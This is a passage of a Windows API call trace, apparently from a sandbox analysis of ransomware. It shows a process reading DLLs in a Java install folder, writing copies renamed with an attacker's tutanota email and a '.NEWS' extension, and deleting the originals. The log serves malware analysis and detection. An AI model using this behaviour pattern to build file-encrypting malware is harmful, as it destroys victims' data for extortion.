(lpString=".zip") returned 4 [0092.217] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.217] lstrlenW (lpString=".rar") returned 4 [0092.217] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.217] lstrlenW (lpString=".bz2") returned 4 [0092.218] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.218] lstrlenW (lpString=".7z") returned 3 [0092.218] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0092.218] lstrlenW (lpString=".dbf") returned 4 [0092.218] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0092.218] lstrlenW (lpString=".1cd") returned 4 [0092.218] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0092.218] lstrlenW (lpString=".jpg") returned 4 [0092.218] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.218] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0092.218] lstrlenW (lpString="management.dll") returned 14 [0092.218] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0092.218] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=36928) returned 1 [0092.218] CloseHandle (hObject=0x2f4) returned 1 [0092.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 0x20 [0092.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.219] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0092.219] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.219] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.219] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0092.219] GetLastError () returned 0x0 [0092.219] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x9040, lpOverlapped=0x0) returned 1 [0092.221] WriteFile (in: hFile=0x330, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x9050, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x9050, lpOverlapped=0x0) returned 1 [0092.223] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.223] WriteFile (in: hFile=0x330, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xf0, lpOverlapped=0x0) returned 1 [0092.223] SetEndOfFile (hFile=0x330) returned 1 [0092.223] CloseHandle (hObject=0x330) returned 1 [0092.223] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.223] SetEndOfFile (hFile=0x2f4) returned 1 [0092.224] CloseHandle (hObject=0x2f4) returned 1 [0092.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.224] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 1 [0092.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0092.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0092.224] lstrlenW (lpString=".doc") returned 4 [0092.224] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.225] lstrlenW (lpString=".docx") returned 5 [0092.225] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0092.225] lstrlenW (lpString=".pdf") returned 4 [0092.225] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.225] lstrlenW (lpString=".xls") returned 4 [0092.225] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.225] lstrlenW (lpString=".xlsx") returned 5 [0092.225] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0092.225] lstrlenW (lpString=".ppt") returned 4 [0092.225] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0092.225] lstrlenW (lpString=".zip") returned 4 [0092.225] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.225] lstrlenW (lpString=".rar") returned 4 [0092.225] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.225] lstrlenW (lpString=".bz2") returned 4 [0092.225] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.225] lstrlenW (lpString=".7z") returned 3 [0092.225] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0092.225] lstrlenW (lpString=".dbf") returned 4 [0092.225] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0092.225] lstrlenW (lpString=".1cd") returned 4 [0092.225] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0092.225] lstrlenW (lpString=".jpg") returned 4 [0092.225] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0092.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0092.225] lstrlenW (lpString=".doc") returned 4 [0092.225] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.225] lstrlenW (lpString=".docx") returned 5 [0092.225] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0092.225] lstrlenW (lpString=".pdf") returned 4 [0092.226] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.226] lstrlenW (lpString=".xls") returned 4 [0092.226] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.226] lstrlenW (lpString=".xlsx") returned 5 [0092.226] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0092.226] lstrlenW (lpString=".ppt") returned 4 [0092.226] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0092.226] lstrlenW (lpString=".zip") returned 4 [0092.226] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.226] lstrlenW (lpString=".rar") returned 4 [0092.226] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.226] lstrlenW (lpString=".bz2") returned 4 [0092.226] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.226] lstrlenW (lpString=".7z") returned 3 [0092.226] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0092.226] lstrlenW (lpString=".dbf") returned 4 [0092.226] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0092.226] lstrlenW (lpString=".1cd") returned 4 [0092.226] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0092.226] lstrlenW (lpString=".jpg") returned 4 [0092.226] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.226] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0092.226] lstrlenW (lpString="mlib_image.dll") returned 14 [0092.226] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0092.264] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=653888) returned 1 [0092.264] CloseHandle (hObject=0x370) returned 1 [0092.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 0x20 [0092.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.265] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0092.265] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.265] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.265] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0092.265] GetLastError () returned 0x0 [0092.265] ReadFile (in: hFile=0x370, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x9fa40, lpOverlapped=0x0) returned 1 [0092.278] WriteFile (in: hFile=0x364, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x9fa50, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x9fa50, lpOverlapped=0x0) returned 1 [0092.290] ReadFile (in: hFile=0x370, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.290] WriteFile (in: hFile=0x364, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xf0, lpOverlapped=0x0) returned 1 [0092.290] SetEndOfFile (hFile=0x364) returned 1 [0092.290] CloseHandle (hObject=0x364) returned 1 [0092.290] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.290] SetEndOfFile (hFile=0x370) returned 1 [0092.296] CloseHandle (hObject=0x370) returned 1 [0092.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.296] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 1 [0092.296] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0092.296] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0092.296] lstrlenW (lpString=".doc") returned 4 [0092.296] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.297] lstrlenW (lpString=".docx") returned 5 [0092.297] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0092.297] lstrlenW (lpString=".pdf") returned 4 [0092.297] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.297] lstrlenW (lpString=".xls") returned 4 [0092.297] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.297] lstrlenW (lpString=".xlsx") returned 5 [0092.297] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0092.297] lstrlenW (lpString=".ppt") returned 4 [0092.297] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0092.297] lstrlenW (lpString=".zip") returned 4 [0092.297] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.297] lstrlenW (lpString=".rar") returned 4 [0092.297] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.297] lstrlenW (lpString=".bz2") returned 4 [0092.297] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.297] lstrlenW (lpString=".7z") returned 3 [0092.297] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0092.297] lstrlenW (lpString=".dbf") returned 4 [0092.297] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0092.297] lstrlenW (lpString=".1cd") returned 4 [0092.297] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0092.297] lstrlenW (lpString=".jpg") returned 4 [0092.297] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0092.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0092.297] lstrlenW (lpString=".doc") returned 4 [0092.297] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.297] lstrlenW (lpString=".docx") returned 5 [0092.297] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0092.297] lstrlenW (lpString=".pdf") returned 4 [0092.298] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.298] lstrlenW (lpString=".xls") returned 4 [0092.298] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.298] lstrlenW (lpString=".xlsx") returned 5 [0092.298] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0092.298] lstrlenW (lpString=".ppt") returned 4 [0092.298] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0092.298] lstrlenW (lpString=".zip") returned 4 [0092.298] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.298] lstrlenW (lpString=".rar") returned 4 [0092.298] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.298] lstrlenW (lpString=".bz2") returned 4 [0092.298] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.298] lstrlenW (lpString=".7z") returned 3 [0092.298] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0092.298] lstrlenW (lpString=".dbf") returned 4 [0092.298] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0092.298] lstrlenW (lpString=".1cd") returned 4 [0092.298] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0092.298] lstrlenW (lpString=".jpg") returned 4 [0092.298] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.298] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0092.298] lstrlenW (lpString="msvcr100.dll") returned 12 [0092.298] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0092.339] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=829264) returned 1 [0092.339] CloseHandle (hObject=0x378) returned 1 [0092.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 0x20 [0092.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.339] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0092.339] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.339] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.339] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0092.340] GetLastError () returned 0x0 [0092.340] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0xca750, lpOverlapped=0x0) returned 1 [0092.356] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xca760, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xca760, lpOverlapped=0x0) returned 1 [0092.370] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.370] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xec, lpOverlapped=0x0) returned 1 [0092.370] SetEndOfFile (hFile=0x2f4) returned 1 [0092.371] CloseHandle (hObject=0x2f4) returned 1 [0092.371] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.371] SetEndOfFile (hFile=0x378) returned 1 [0092.378] CloseHandle (hObject=0x378) returned 1 [0092.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.378] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 1 [0092.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0092.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0092.379] lstrlenW (lpString=".doc") returned 4 [0092.379] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.379] lstrlenW (lpString=".docx") returned 5 [0092.379] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0092.379] lstrlenW (lpString=".pdf") returned 4 [0092.379] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.379] lstrlenW (lpString=".xls") returned 4 [0092.379] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.379] lstrlenW (lpString=".xlsx") returned 5 [0092.379] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0092.379] lstrlenW (lpString=".ppt") returned 4 [0092.379] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0092.379] lstrlenW (lpString=".zip") returned 4 [0092.379] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.379] lstrlenW (lpString=".rar") returned 4 [0092.379] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.379] lstrlenW (lpString=".bz2") returned 4 [0092.379] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.379] lstrlenW (lpString=".7z") returned 3 [0092.379] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0092.379] lstrlenW (lpString=".dbf") returned 4 [0092.379] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0092.379] lstrlenW (lpString=".1cd") returned 4 [0092.379] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0092.379] lstrlenW (lpString=".jpg") returned 4 [0092.379] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0092.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0092.380] lstrlenW (lpString=".doc") returned 4 [0092.380] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.380] lstrlenW (lpString=".docx") returned 5 [0092.380] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0092.380] lstrlenW (lpString=".pdf") returned 4 [0092.380] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.380] lstrlenW (lpString=".xls") returned 4 [0092.380] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.380] lstrlenW (lpString=".xlsx") returned 5 [0092.380] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0092.380] lstrlenW (lpString=".ppt") returned 4 [0092.380] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0092.380] lstrlenW (lpString=".zip") returned 4 [0092.380] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.380] lstrlenW (lpString=".rar") returned 4 [0092.380] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.380] lstrlenW (lpString=".bz2") returned 4 [0092.380] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.380] lstrlenW (lpString=".7z") returned 3 [0092.380] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0092.380] lstrlenW (lpString=".dbf") returned 4 [0092.380] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0092.380] lstrlenW (lpString=".1cd") returned 4 [0092.380] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0092.380] lstrlenW (lpString=".jpg") returned 4 [0092.380] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.380] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0092.381] lstrlenW (lpString="net.dll") returned 7 [0092.381] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0092.416] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=96832) returned 1 [0092.416] CloseHandle (hObject=0x378) returned 1 [0092.417] GetFileAttributesW 